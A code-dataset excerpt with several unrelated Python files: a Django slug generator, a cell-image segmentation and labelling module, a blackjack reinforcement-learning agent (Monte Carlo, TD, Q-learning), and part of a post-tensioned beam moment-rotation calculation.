'AbBcDauxVdsddsdsdsg9aSJsS9gSfx2gggf0It8pAggfgfddsSGCs8jhjhjgDs2YBs0ixS'\n\n\trabc7 = random.choice(abc7)\n\n\tabc8 = 'AbBcDauxVdasdadddsdsdsdsdfddasdadasdfx20It8pAddsSGCs8gDdsddsds55462213Ds2YBs0ixS'\n\n\trabc8 = random.choice(abc8)\n\n\tabc9 = 'AbBcDaurererexVadasx2dsddsdsrererdasda23332323ddd8pAddrererersSGCs8gD13Ds2YBs0ixS'\n\n\trabc9 = random.choice(abc9)\n\n\tabc10 = 'AbBcDauxV9aSJsS9gSfx20It8pAddsSGCs8gDs2YBs0ixS'\n\n\trabc10 = random.choice(abc10)\n\n\tabc11 = 'AbBcDauxVdasdadddsdsdsdsfx20It8pAddsSGCs8gDdsddsds55462213Ds2YBs0ixS'\n\n\trabc11 = random.choice(abc11)\n\n\tabc12 = 'AbBcDauxVdsddsdsdsg9aSJsS9gSfx2gggf0It8pAgjhjhjgDs2YBs0ixS'\n\n\trabc12 = random.choice(abc12)\n\n\tabc13 = 'AbBcDauxVdasdadddsdsdsdsfx20It8pAddsSGCs8gDdsddsds55462213Ds2YBs0ixS'\n\n\trabc13 = random.choice(abc13)\n\n\tabc14 = 'AbBcDaurererexVadasx2dsddsdsrererdasda233323rsSGCs8gD13Ds2YBs0ixS'\n\n\trabc14 = random.choice(abc14)\n\n\tran = (rabc1+rabc2+rabc3+rabc4+rabc5+rabc6+rabc7+rabc8+rabc9+rabc10+rabc11+rabc12+rabc13+rabc14)\n\n\n\n\tabcExtra = 'AsDSDSdhi6SUDSjdoId32siaofsdfdsud31213123siu3hu423mkujnyhtbvgfcqyfhs4iuhfiuf5432424gushfsoshaoishfuoigus'\n\n\tranEX = random.choice(abcExtra)\n\n\n\n\tslug = slugify(ran)\n\tif new_slug is not None:\n\t\tslug = new_slug\n\n\tqs = Profile.objects.filter(slug=slug).order_by('-id')\n\texists = qs.exists()\n\t\n\n\t\n\tif exists:\n\t\tnew_slug = '%s-%s' %(slug,ranEX)\n\t\treturn create_slug(instance,new_slug=new_slug)\n\treturn slug\n\n\ndef pre_save_profile_receiver(sender,instance,*args,**kwargs):\n\tif not instance.slug:\n\t\tinstance.slug = create_slug(instance)\n\n\n\n\npre_save.connect(pre_save_profile_receiver,sender=Profile)","sub_path":"System/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"543885151","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 19 12:57:14 2019\n\n@author: gourgue\n\"\"\"\n#%%\nimport os\nimport time\nfrom .fonction_compteur_background import filtre_morpho\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom scipy import ndimage as ndi\n\nfrom skimage.measure import regionprops\nfrom skimage.morphology import watershed, label, black_tophat, disk\nfrom skimage.io import imsave\n\nimport pandas as pd\n#%%\n#cut a mask for watershed\ndef decoupe_mask(image, verbose=True, cells_mean=60):\n \"\"\"decoupe_mask : delete more finely the background.\n return image with background is 0\n image : input image\n verbose : display process\n \"\"\"\n deb=time.time()\n markers=np.zeros_like(image)\n mask=filtre_morpho(image, verbose=verbose, cells_mean=cells_mean)\n markers[mask==0]=1\n markers[mask>0]=2\n \n if verbose=='all':\n plt.figure()\n plt.title('image')\n plt.imshow(image, cmap='gray', vmin=0, vmax=255)\n plt.colorbar()\n \n plt.figure()\n plt.title('mask')\n plt.imshow(mask, cmap='gray')\n \n plt.figure()\n plt.title('markers')\n plt.imshow(markers, cmap='gray')\n\n segmentation = watershed(image, markers)\n if verbose=='all':\n plt.figure()\n plt.title('segmentation binaire')\n plt.imshow(segmentation, cmap='gray')\n \n segmentation = ndi.binary_fill_holes(segmentation - 1)\n image_filtre=image.copy()\n image_filtre[segmentation]=0\n image_mask=image.copy()\n image_mask[~segmentation]=0\n if verbose=='all':\n plt.figure()\n plt.title(\"segmentation sans background\")\n plt.imshow(segmentation, cmap='gray')\n\n plt.figure()\n plt.title('filtre')\n plt.imshow(image_filtre, cmap='gray', vmin=0, vmax=255)\n plt.colorbar()\n\n plt.figure()\n plt.title('mask')\n plt.imshow(image_mask, cmap='gray', vmin=0, vmax=255)\n plt.colorbar()\n fin=time.time()\n print(fin-deb)\n return image_mask\n#%%\n\n# ré éthiquetage\ndef fusion_label( region, labeled, cells_mean):\n \"\"\" fusion label : delete or fusion two region if is stick. (is not use)\n region : is concerne\n labeled : matrix with labeled\n cells_mean : diameter cells\n \n \"\"\"\n x,y=region.centroid\n coords=region.coords\n boxe=labeled[max(int(x-cells_mean),0):min(int(x+cells_mean),labeled.shape[0]-1),\n max(int(y-cells_mean),0):min(int(y+cells_mean),labeled.shape[1]-1)]>0\n new_labels=label(boxe,neighbors=8)\n coords[:,0]=coords[:,0]-max(int(x-cells_mean),0)\n coords[:,1]=coords[:,1]-max(int(y-cells_mean),0)\n try :\n new_label =new_labels[coords[0,0],coords[0,1]]\n except :\n print(\"cas bizare\")\n new_label = None\n for region_new in regionprops(new_labels):\n if region_new.label==new_label and region_new.area < 2500: #taille deux cellules\n if region_new.area>region.area:\n max_label=np.max(labeled)\n new_coords=region_new.coords\n labeled[new_coords[:,0]+max(int(x-cells_mean),0),new_coords[:,1]+max(int(y-cells_mean),0)]=\\\n max_label+1\n \n return labeled\n else:\n return region\n#%%\n#test premier filtre\ndef test_label(labeled, cells_mean, fusion=False, verbose=True):\n \"\"\" test_label : test the size of region and valide or not if is to small\n labeled : matrix with labeled\n cells_mean : diameter of cells\n fusion : use fusion fonction for delete or fusion small region\n verbose : display process\n \"\"\"\n cells_petite=[]\n for region in regionprops(labeled):\n if region.area>1000:\n if verbose=='all':\n print(\"area valide :\"+str(region.area)+\" pour region :\"+str(region.label))\n else :\n if verbose=='all':\n print(\"area trop petit :\"+str(region.area)+' pour la '+str(region.label))\n cells_petite.append(region)\n if region.equivalent_diameter >40:\n if verbose=='all':\n print(\"dimaetre equibalent valide pour region :\"+str(region.label))\n else:\n if verbose=='all':\n print(\"dimaetre equibalent trop petit :\"+str(region.equivalent_diameter)+\" pour la \"+str(region.label))\n \n if region.major_axis_length>50:\n if verbose=='all':\n print(\"grand axe valide :\"+str(region.label))\n else:\n if verbose=='all':\n print(\"grand axe trop petit :\"+str(region.major_axis_length)+\" pour la \"+str(region.label))\n if fusion==True:\n for region in cells_petite: \n sortie=fusion_label(region, labeled,cells_mean) \n if type(sortie)==np.ndarray:\n if verbose=='all':\n print(\"cellule fusionné\")\n else:\n labeled[region.coords[:,0],region.coords[:,1]]=0\n if verbose=='all':\n print(\"zone supprimé\")\n return labeled\n else :\n return labeled\n#%%\ndef sauvegarde_imagette(image,zoro, classe,coords_para,coords_distrac,raw,name, cells_mean=60, size1=71,size2=71, \n travel_output=os.getcwd()+\"_output/\", tophat=False):\n \"\"\"\n sauvegarde_imagette : save segmente cells with label if we have coordonate of parasite.\n image : input image\n classe : list of region segmented\n coords_para : tuple or array with coordonate of all parasite.\n size1 : heigth of small picture\n size2 : width small picture\n travel_output : folder output dataset\n \"\"\"\n debut=time.time()\n # test debug\n list_label=[]\n count=0\n #existence of folder\n if not os.path.exists(travel_output):\n os.mkdir(travel_output)\n #!mkdir -p travel_output\n #existence of folder tophat\n if tophat:\n travel_tophat=travel_output[:-1]+'_tophat/'\n if not os.path.exists(travel_tophat):\n os.mkdir(travel_tophat)\n #!mkdir -p travel_output\n #tranforme coords_para\n if type(coords_para)==np.ndarray:\n list_para=list(coords_para)\n elif coords_para is False:\n pass\n else:\n if 2 in coords_para.shape and len(coords_para.shape)==2:\n if coords_para.shape[0]==2:\n coords_para=coords_para.T\n list_para=list(coords_para)\n else:\n print(\"coords_para n'est pas à la bonne taille\\ncoords_para shape=\",coords_para.shape)\n return None\n if coords_distrac is False:\n pass\n else:\n list_distrac=list(coords_distrac)\n \n #tophat image\n if tophat:\n black_para=black_tophat(zoro, selem=disk(5))\n black_para[black_para.mask]=0\n \n for region in classe:\n infected=False\n distrac =False\n taille=image[region.bbox[0]:region.bbox[2],region.bbox[1]:region.bbox[3]].shape\n \n dx0 = region.bbox[0]\n dx1 = region.bbox[2]\n dy0 = region.bbox[1]\n dy1 = region.bbox[3]\n \n if(taille[0]%2!=0):\n dx1=dx1+1\n if(taille[1]%2!=0):\n dy1=dy1+1\n taille=image[dx0:dx1,dy0:dy1].shape\n \n if taille[0]>size1 or taille[1]>size2:\n print('problème de taille')\n else:\n image_sortie=np.zeros([size1,size2], dtype='uint8')\n if tophat:\n image_tophat=np.zeros_like(image_sortie)\n if region.equivalent_diameter>cells_mean*9/16:\n xc,yc=region.centroid\n x=int(xc-region.bbox[0])\n y=int(yc-region.bbox[1])\n center1=int(size1/2)\n center2=int(size2/2)\n begin_x=center1-x\n begin_y=center2-y\n coords = region.coords\n #test de depassement\n if np.max(coords[:,0]-region.bbox[0]+begin_x)>size1-1:\n recalage_x=np.max(coords[:,0]-region.bbox[0]+begin_x)-size1+1\n begin_x=begin_x-recalage_x\n if np.max(coords[:,1]-region.bbox[1]+begin_y)>size2-1:\n recalage_y=np.max(coords[:,1]-region.bbox[1]+begin_y)-size2+1\n begin_y=begin_y-recalage_y\n \n diffx1 = diffx2 = int((size1 - taille[0] )/2)\n diffy1 = diffy2 = int((size2 - taille[1] )/2)\n\n maxx,maxy = image.shape\n \n if(dx0-diffx1<0):\n diffx2 = diffx2 + (dx0-diffx1)*(-1)\n diffx1 = diffx1 - (dx0-diffx1)*(-1)\n if(dx1+diffx2 > maxx):\n diffx1 = diffx1 + (maxx- dx1-diffx2)*(-1)\n diffx2 = diffx2 - (maxx- dx1-diffx2)*(-1)\n if(dy0-diffy1<0):\n diffy2 = diffy2 + (dy0-diffy1)*(-1)\n diffy1 = diffy1 - (dy0-diffy1)*(-1)\n if(dy1+diffy2 > maxy):\n diffy1 = diffy1 + (maxy- dy1-diffy2)*(-1)\n diffy2 = diffy2 - (maxy- dy1-diffy2)*(-1)\n \n #imagette image\n # image_sortie[coords[:,0]-region.bbox[0]+begin_x, coords[:,1]-region.bbox[1]+begin_y]=\\\n # image[coords[:,0],coords[:,1]]\n \n image_sortie[center1-int(size1/2):center1+int(size1/2), center2-int(size2/2):center2+int(size2/2)]=\\\n image[dx0-diffx1:dx1+diffx2,dy0-diffy1:dy1+diffy2]\n plt.imshow(image[dx0-diffx1:dx1+diffx2,dy0-diffy1:dy1+diffy2],cmap='gray')\n plt.show()\n\n \n #imagette tophat\n if tophat:\n image_tophat[coords[:,0]-region.bbox[0]+begin_x, coords[:,1]-region.bbox[1]+begin_y]=\\\n black_para[coords[:,0],coords[:,1]]\n \n #title='('+str(int(round(xc)))+','+str(int(round(yc)))+')'+'_'+str(region.label)+'.png'\n title=str(raw)+'.png'\n # if coords_para is False:\n # if len(list_para)>0:\n # if len(list_para[0])==0:\n # pass\n # else:\n # for i in range(len(list_para)-1,-1,-1):\n # if list_para[i][0] in coords[:,0]:\n # indice=np.where(coords[:,0]==list_para[i][0])[0]\n # resultat=np.where(coords[indice,1]==list_para[i][1])[0]\n # if len(resultat)!=0:\n # place=indice[resultat][0]\n # if len(resultat)==1: \n # list_para.pop(i)\n # infected=True\n # else :\n # print(\"problem a coords parasite is more than 1 time in a cells\")\n # print(\"coords = \",place)\n\n \n # # if infected:\n # # #pas de distract\n # # pass\n # # else:\n # # if coords_distrac is False:\n # # if len(list_distrac)>0:\n # # if len(list_distrac[0])==0:\n # # pass\n # # else:\n # # for i in range(len(list_distrac)-1,-1,-1):\n # # if list_distrac[i][0] in coords[:,0]:\n # # indice=np.where(coords[:,0]==list_distrac[i][0])[0]\n # # resultat=np.where(coords[indice,1]==list_distrac[i][1])[0]\n # # if len(resultat)!=0:\n # # place=indice[resultat][0]\n # # if len(resultat)==1: \n # # list_distrac.pop(i)\n # # distrac=True\n # # print(\"dis\")\n # # else :\n # # print(\"problem a coords distractor is more than 1 time in a cells\")\n # # print(\"coords = \",place)\n\n \n # if infected:\n # title='_infected_'+title\n # else:\n # if distrac:\n # title='_distrac_'+title\n # else:\n # title='_healthy_'+title\n\n # imsave(travel_output+str(count)+title, image_sortie)\n # print(title)\n # count=count+1\n # list_label.append(region.label)\n # if tophat:\n # imsave(travel_tophat+title, image_tophat, check_contrast=False)\n \n fin=time.time()\n print(fin-debut)\n # if len(list_para)>0:\n # print(\"il reste des parasites non detecter\")\n # print(\"longueur de liste para =\",len(list_para))\n # return list_para, list_label\n # else:\n # return None\n \n\n#%%\ndef extract_para(travel_para):\n coords_para=pd.read_csv(travel_para, sep=';')\n if coords_para.shape[1]==0:\n coords_para=[[],[]]\n return coords_para\n\n#%%\ndef extract_imagette(image, labeled, coords_para, coords_distrac,cells_mean=60, size1=71, size2=71, \n travel_output=os.getcwd()+\"_output/\", tophat=False, zoro=False):\n debut=time.time()\n #existence of folder\n if not os.path.exists(travel_output):\n os.mkdir(travel_output)\n \n #existence of folder tophat\n if tophat:\n travel_tophat=travel_output[:-1]+'_tophat/'\n if not os.path.exists(travel_tophat):\n os.mkdir(travel_tophat)\n \n #tranforme coords_para\n \n if coords_para is False:\n pass\n else:\n if type(coords_para)==np.ndarray:\n pass\n else:\n if 2 in coords_para.shape and len(coords_para.shape)==2:\n if coords_para.shape[0]==2:\n coords_para=coords_para.T\n else:\n print(\"coords_para n'est pas à la bonne taille\\ncoords_para shape=\",coords_para.shape)\n return None\n list_para=list(coords_para)\n if coords_distrac is False:\n list_distrac=[]\n pass\n else:\n list_distrac =list(coords_distrac)\n \n #tophat image\n if tophat:\n black_para=black_tophat(zoro, selem=disk(5))\n black_para[black_para.mask]=0\n \n for region in regionprops(labeled):\n infected=False\n distrac=False\n taille=image[region.bbox[0]:region.bbox[2],region.bbox[1]:region.bbox[3]].shape\n if taille[0]>size1 or taille[1]>size2:\n print(\"\\n taille[0], [1]=\",taille[0],\",\",taille[1])\n print(\"\\n size1\", size1)\n \n print('problème de taille')\n else:\n image_sortie=np.zeros([size1,size2], dtype='uint8')\n image_tophat=np.zeros_like(image_sortie)\n if region.equivalent_diameter>cells_mean*2/3:\n xc,yc=region.centroid\n x=int(xc-region.bbox[0])\n y=int(yc-region.bbox[1])\n center1=int(size1/2)\n center2=int(size2/2)\n begin_x=center1-x\n begin_y=center2-y\n coords = region.coords\n #test de depassement\n if np.max(coords[:,0]-region.bbox[0]+begin_x)>size1-1:\n recalage_x=np.max(coords[:,0]-region.bbox[0]+begin_x)-size1+1\n begin_x=begin_x-recalage_x\n if np.max(coords[:,1]-region.bbox[1]+begin_y)>size2-1:\n recalage_y=np.max(coords[:,1]-region.bbox[1]+begin_y)-size2+1\n begin_y=begin_y-recalage_y\n \n #imagette image\n image_sortie[coords[:,0]-region.bbox[0]+begin_x, coords[:,1]-region.bbox[1]+begin_y]=\\\n image[coords[:,0],coords[:,1]]\n \n #imagette tophat\n if tophat:\n image_tophat[coords[:,0]-region.bbox[0]+begin_x, coords[:,1]-region.bbox[1]+begin_y]=\\\n black_para[coords[:,0],coords[:,1]]\n \n# title=str(region.label)+'_'+str(int(round(xc)))+'x'+str(int(round(yc)))+'.png'\n print(title)\n title=str(raw)+'.png'\n if coords_para is False:\n pass\n else:\n if len(list_para)>0:\n if len(list_para[0])==0:\n pass\n else:\n for i in range(len(list_para)-1,-1,-1):\n if list_para[i][0] in coords[:,0]:\n indice=np.where(coords[:,0]==list_para[i][0])[0]\n resultat=np.where(coords[indice,1]==list_para[i][1])[0]\n if len(resultat)!=0:\n place=indice[resultat][0]\n if len(resultat)==1: \n # print(i,\"est dans la matrice 2 en\",place, \"mat2[\"+str(place)+\",:]=\",matrice2[place])\n list_para.pop(i)\n infected=True\n else :\n print(\"problem a coords parasite is more than 1 time in a cells\")\n print(\"coords = \",place)\n# print(valeur,\"en matrice 2 à\",place)\n if infected:\n #pas de distracteur\n pass\n else:\n if coords_distrac is False:\n pass\n else:\n for i in range(len(list_distrac)-1,-1,-1):\n if list_distrac[i][0] in coords[:,0]:\n indice=np.where(coords[:,0]==list_distrac[i][0])[0]\n resultat=np.where(coords[indice,1]==list_distrac[i][1])[0]\n if len(resultat)!=0:\n place=indice[resultat][0]\n if len(resultat)==1: \n # print(i,\"est dans la matrice 2 en\",place, \"mat2[\"+str(place)+\",:]=\",matrice2[place])\n list_distrac.pop(i)\n distrac=True\n else :\n print(\"problem a coords parasite is more than 1 time in a cells\")\n print(\"coords = \",place)\n # print(valeur,\"en matrice 2 à\",place)\n \n \n if infected:\n title='infected_'+title\n else:\n if distrac:\n title = 'distrac_'+title\n else:\n title='healthy_'+title\n # plt.close(\"all\")\n # plt.figure()\n # plt.imshow(image_sortie)\n imsave(travel_output+title, image_sortie)\n if tophat:\n imsave(travel_tophat+title, image_tophat, check_contrast=False)\n fin=time.time()\n print(fin-debut)\n# print(coords_para)\n if not coords_para is False:\n if len(list_para)>0:\n print(\"il reste des parasites non detecter\")\n print(\"longueur de liste para =\",len(list_para))\n return list_para\n else:\n return None\n","sub_path":"cell_annotator/cell_annotator/fonction_compteur_datagenerator.py","file_name":"fonction_compteur_datagenerator.py","file_ext":"py","file_size_in_byte":20055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"490096101","text":"import copy\nimport random\n\nfrom game import Game, states\n\nHIT = 0\nSTAND = 1\nDISCOUNT = 0.95 #This is the gamma value for all value calculations\nEPSILON = 0.4\n\nclass Agent:\n def __init__(self):\n\n # For MC values\n self.MC_values = {} # Dictionary: Store the MC value of each state\n self.S_MC = {} # Dictionary: Store the sum of returns in each state\n self.N_MC = {} # Dictionary: Store the number of samples of each state\n # MC_values should be equal to S_MC divided by N_MC on each state (important for passing tests)\n\n # For TD values\n self.TD_values = {} # Dictionary storing the TD value of each state\n self.N_TD = {} # Dictionary: Store the number of samples of each state\n\n # For Q-learning values\n self.Q_values = {} # Dictionary storing the Q-Learning value of each state and action\n self.N_Q = {} # Dictionary: Store the number of samples of each state\n\n # Initialization of the values\n for s in states:\n self.MC_values[s] = 0\n self.S_MC[s] = 0\n self.N_MC[s] = 0\n self.TD_values[s] = 0\n self.N_TD[s] = 0\n self.Q_values[s] = [0,0] # First element is the Q value of \"Hit\", second element is the Q value of \"Stand\"\n self.N_Q[s] = 0\n # NOTE: see the comment of `init_cards()` method in `game.py` for description of game state \n self.simulator = Game()\n\n # NOTE: do not modify\n # This is the policy for MC and TD learning. \n @staticmethod\n def default_policy(state):\n user_sum = state[0]\n user_A_active = state[1]\n actual_user_sum = user_sum + user_A_active * 10\n if actual_user_sum < 14:\n return 0\n else:\n return 1\n\n # NOTE: do not modify\n # This is the fixed learning rate for TD and Q learning. \n @staticmethod\n def alpha(n):\n return 10.0/(9 + n)\n \n def MC_run(self, num_simulation, tester=False):\n # Perform num_simulation rounds of simulations in each cycle of the overall game loop\n for simulation in range(num_simulation):\n # Do not modify the following three lines\n if tester:\n self.tester_print(simulation, num_simulation, \"MC\")\n self.simulator.reset() # Restart the simulator\n\n # TODO: Remove the following dummy updates and implement MC-learning\n # Note: Do not reset the simulator again in the rest of this simulation\n # Hint: Simulate a full episode using \"self.simulator.simulate_sequence(...)\"\n # Hint: You need to compute reward-to-go for each state in the episode\n # Useful variables:\n # - DISCOUNT\n # - self.MC_values (read comments in self.__init__)\n episode = self.simulator.simulate_sequence(Agent.default_policy)\n for k, (current_state, _) in enumerate(episode):\n reward_to_go = 0\n for i, (state, reward) in enumerate(episode[k:]):\n reward_to_go += DISCOUNT**i * reward\n self.S_MC[current_state] += reward_to_go\n self.N_MC[current_state] += 1\n self.MC_values[current_state] = self.S_MC[current_state] / self.N_MC[current_state]\n \n def TD_run(self, num_simulation, tester=False):\n #Perform num_simulation rounds of simulations in each cycle of the overall game loop\n for simulation in range(num_simulation):\n # Do not modify the following three lines\n if tester:\n self.tester_print(simulation, num_simulation, \"TD\")\n self.simulator.reset()\n\n # TODO: Remove the following dummy updates and implement TD-learning\n # Note: Do not reset the simulator again in the rest of this simulation\n # Hint: You need a loop that takes one step simulation each time, until state is \"None\" which indicates termination\n # Hint: current state can be accessed by \"self.simulator.state\"\n # Hint: Simulate one step using \"self.simulator.simulate_one_step(...)\"\n # Hint: The learning rate alpha is given by \"self.alpha(...)\"\n # Useful variables:\n # - DISCOUNT\n # - self.TD_values (read comments in self.__init__)\n current_state = self.simulator.state\n while current_state:\n current_reward = self.simulator.check_reward()\n action = Agent.default_policy(current_state)\n next_state, _ = self.simulator.simulate_one_step(action)\n self.N_TD[current_state] += 1\n next_state_value = 0\n if next_state:\n next_state_value = self.TD_values[next_state]\n self.TD_values[current_state] += (Agent.alpha(self.N_TD[current_state]) \n * (current_reward + DISCOUNT * next_state_value - self.TD_values[current_state]))\n current_state = next_state\n \n def Q_run(self, num_simulation, tester=False):\n #Perform num_simulation rounds of simulations in each cycle of the overall game loop\n for simulation in range(num_simulation):\n # Do not modify the following three lines\n if tester:\n self.tester_print(simulation, num_simulation, \"Q\")\n self.simulator.reset()\n\n # TODO: Remove the following dummy update and implement Q-learning\n # Note: Do not reset the simulator again in the rest of this simulation\n # Hint: You need a loop that takes one step simulation each time, until state is \"None\" which indicates termination\n # Hint: current state can be accessed by \"self.simulator.state\"\n # Hint: Simulate one step using \"self.simulator.simulate_one_step(...)\"\n # Hint: The learning rate alpha is given by \"self.alpha(...)\"\n # Hint: Implement epsilon-greedy method in \"self.pick_action(...)\"\n # Useful variables:\n # - DISCOUNT\n # - self.Q_values (read comments in self.__init__)\n current_state = self.simulator.state\n while current_state:\n current_reward = self.simulator.check_reward()\n action = self.pick_action(current_state, EPSILON)\n next_state, _ = self.simulator.simulate_one_step(action)\n self.N_Q[current_state] += 1\n next_state_Q_value = 0\n if next_state:\n next_state_Q_value = max(self.Q_values[next_state][0], self.Q_values[next_state][1])\n self.Q_values[current_state][action] += (Agent.alpha(self.N_Q[current_state]) \n * (current_reward + DISCOUNT * next_state_Q_value - self.Q_values[current_state][action]))\n current_state = next_state\n\n def pick_action(self, s, epsilon):\n # Replace the following random return value with the epsilon-greedy strategy\n # Hint: Generate a random number with `random.random()` and compare with epsilon\n # Hint: A random action is just `random.randint(0,1)`\n if random.random() < epsilon:\n return random.randint(0,1)\n else:\n if self.Q_values[s][0] > self.Q_values[s][1]:\n return HIT\n else:\n return STAND\n\n #Note: do not modify\n def autoplay_decision(self, state):\n hitQ, standQ = self.Q_values[state][HIT], self.Q_values[state][STAND]\n if hitQ > standQ:\n return HIT\n if standQ > hitQ:\n return STAND\n return HIT #Before Q-learning takes effect, just always HIT\n\n # NOTE: do not modify\n def save(self, filename):\n with open(filename, \"w\") as file:\n for table in [self.MC_values, self.TD_values, self.Q_values, self.S_MC, self.N_MC, self.N_TD, self.N_Q]:\n for key in table:\n key_str = str(key).replace(\" \", \"\")\n entry_str = str(table[key]).replace(\" \", \"\")\n file.write(f\"{key_str} {entry_str}\\n\")\n file.write(\"\\n\")\n\n # NOTE: do not modify\n def load(self, filename):\n with open(filename) as file:\n text = file.read()\n MC_values_text, TD_values_text, Q_values_text, S_MC_text, N_MC_text, NTD_text, NQ_text, _ = text.split(\"\\n\\n\")\n \n def extract_key(key_str):\n return tuple([int(x) for x in key_str[1:-1].split(\",\")])\n \n for table, text in zip(\n [self.MC_values, self.TD_values, self.Q_values, self.S_MC, self.N_MC, self.N_TD, self.N_Q], \n [MC_values_text, TD_values_text, Q_values_text, S_MC_text, N_MC_text, NTD_text, NQ_text]\n ):\n for line in text.split(\"\\n\"):\n key_str, entry_str = line.split(\" \")\n key = extract_key(key_str)\n table[key] = eval(entry_str)\n\n # NOTE: do not modify\n @staticmethod\n def tester_print(i, n, name):\n print(f\"\\r {name} {i + 1}/{n}\", end=\"\")\n if i == n - 1:\n print()","sub_path":"s20pa3-master/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":9231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"432585969","text":"import numpy as np\r\n\r\ndef MOMROT(T_pti, A_pt, d_ms, fuse, PTi, Fr):\r\n# location = '/Users/mansanita/Shake_Table_data/'\r\n location = 'C:/Modelling/'\r\n \r\n # inputs\r\n epsc0 = 0.0021 # Concrete strain \r\n \r\n # Material properties\r\n E_tc = 27900 # Elastic stiffness of column concrete (MPa)\r\n G_tc = 1000 # Shear stiffness of column concrete (MPa)\r\n E_tb = 27900 # Elastic stiffness of beam concrete (MPa)\r\n G_tb = 1000 # Shear stiffness of beam concrete (MPa)\r\n f_c = 40 # Concrete compressive strength (MPa)\r\n \r\n # Beam dimensions\r\n h_b = 0.25 # Depth of beam section (m)\r\n b_b = 0.200 # Width of beam section (m)\r\n \r\n # Column dimensions\r\n h_c = 0.30 # Depth of column section (m)\r\n b_c = 0.20 # Width of column section (m)\r\n \r\n # Frame dimensions\r\n H = 1.6 # Interstorey height (m)\r\n L_b = 3.7 # Bay width (m)\r\n n_b = 1 # Number of bays\r\n \r\n # Tendon properties\r\n n = 2 # Number of connections subject to same rotation\r\n E_pt = 200000 # Young's modulus of the tendons\r\n f_ptu = 1750 # Ulitmate strength (MPa)\r\n f_pty = 1560.0 # Yield strength (MPa)\r\n \r\n # Tendon layout\r\n tendon = [1, A_pt, h_b/2] \r\n # No. tendons, area, location, initial post tension force\r\n \r\n # Mild steel properties\r\n eps_msy = 0.0015 # Yield strain of the mild steel\r\n eps_msu = 0.05 # Ultimate strain of the mild steel\r\n l_fuse = fuse # fuse length\r\n f_msy = 320 # Yield strength (MPa)\r\n E_ms = 200000 # Elastic stiffness (MPa)\r\n r = 0.008 # Post yield stiffness ratio\r\n \r\n # Mild steel layout\r\n ms = [ # No. bars, bar diameter, location (datum at bottom of beam)\r\n [1, d_ms, 0.280],\r\n [1, d_ms, -0.03]]\r\n \r\n # Building parameters\r\n theta = 0.0158 # Design rotation\r\n Phi = 1 # Reduction factor\r\n \r\n \r\n #####################################################################################################\r\n # Calculations\r\n \r\n L_ub = L_b*n_b+h_c # Unbonded length of steel\r\n alpha_concrete = np.loadtxt(location+'alpha_concrete.txt', skiprows=1) # Concrete stress block factors\r\n beta_concrete = np.loadtxt(location+'beta_concrete.txt', skiprows=1) #\r\n l_sp = 0.0 # 0.022*f_msy*ms[0][1]/1000 # Length of strain penetration in steel [m]\r\n phi_y = 2*eps_msy/h_b # Yield curvature of concrete from Priestley [2007]\r\n L_cant = 0.5*(L_b-h_c) # Length of beam cantilever for MBA\r\n L_p = max(0.08*L_cant+l_sp, 2*l_sp) # Assumed plastic hinge length in beam for MBA\r\n \r\n theta_con = 0.01581# round(theta/(1-h_c/L_b), 4) # CHECK THIS\r\n \r\n rotation = np.arange(0.00001, 0.025, 0.00005)\r\n rotation = list(rotation)\r\n C = []\r\n Mpt = []\r\n Mms = []\r\n Tpt = []\r\n Tms = []\r\n Cms = []\r\n Cc = []\r\n epsmst = []\r\n epsmsc = []\r\n Mtot = []\r\n \r\n sw = 0\r\n sw2 = 0\r\n for rot in rotation:\r\n # range in neutral axis position for each rotation\r\n c = np.arange(0, h_b, 0.0001)\r\n # c = [0.099]\r\n switch = 10000.0\r\n for na in range(len(c)):\r\n \r\n # Post tensioning\r\n eps_pt = n*rot*(tendon[2]-c[na])/L_ub # Strain imposed from rotation \r\n del_T = (E_pt*eps_pt*tendon[0]*tendon[1])/1000 # Tendon force from elongation (kN)\r\n T_pt = del_T+T_pti # Total tendon force (kN)\r\n \r\n # Mild steel\r\n eps_ms = np.zeros(len(ms))\r\n F_ms = np.zeros(len(ms))\r\n for st in range(len(ms)): \r\n del_ms = rot*(ms[st][2]-c[na]) # Elongation of mild steel from rotation (mm)\r\n A_ms = ms[st][1]**2*np.pi/4*ms[st][0] # Area of steel bars\r\n # eps_ms[st] = (del_ms+2/3*l_sp*eps_msy)/(l_fuse+2*l_sp) # Strain in steel bars\r\n if del_ms > 0.0:\r\n eps_ms[st] = (del_ms+2/3.0*l_sp*eps_msy)/(l_fuse+2*l_sp) # Strain in steel bars\r\n if eps_ms[st] >= eps_msy:\r\n f_ms = f_msy*(1+r*(eps_ms[st]/eps_msy-1)) # Tension steel stress\r\n else:\r\n f_ms = E_ms*eps_ms[st]\r\n else:\r\n eps_ms[st] = (del_ms-2/3.0*l_sp*eps_msy)/(l_fuse+2*l_sp) # Strain in steel bars\r\n f_ms = max(E_ms*eps_ms[st], -f_msy) # Compression steel stress\r\n F_ms[st] = f_ms*A_ms/1000 # Steel force\r\n \r\n # Concrete\r\n eps_c = (rot*L_cant/(L_cant-L_p/2)/L_p+phi_y)*c[na] # Strain in concrete from MBA\r\n \r\n alpha_c = np.interp(eps_c/epsc0, alpha_concrete[:,0], alpha_concrete[:,2]) # determining stress block parameters from table\r\n beta_c = np.interp(eps_c/epsc0, beta_concrete[:,0], beta_concrete[:,2])\r\n C_c = alpha_c*f_c*beta_c*c[na]*b_b*1000 # Concrete force\r\n \r\n equilibrium = T_pt+sum(F_ms)-C_c\r\n if abs(equilibrium) < switch:\r\n switch = abs(equilibrium)\r\n data = [c[na], T_pt, F_ms, eps_ms, C_c, eps_c, beta_c]\r\n else:\r\n # print equilibrium\r\n # print eps_c/epsc0, alpha_c, beta_c\r\n break\r\n \r\n # yield points\r\n if data[3][0] >= eps_msy and sw == 0:\r\n rot_yt = rotation.index(rot)\r\n sw = 1\r\n if data[3][1] <= -eps_msy and sw2 == 0:\r\n rot_yc = rotation.index(rot)\r\n sw2 = 1\r\n \r\n # Moment contributions \r\n C.append(data[0])\r\n Mpt.append(data[1]*(tendon[2]-data[6]*data[0]/2))\r\n M_ms = []\r\n for st in range(len(ms)):\r\n M_ms.append((ms[st][2]-tendon[2]-data[6]*data[0]/2)*F_ms[st]) 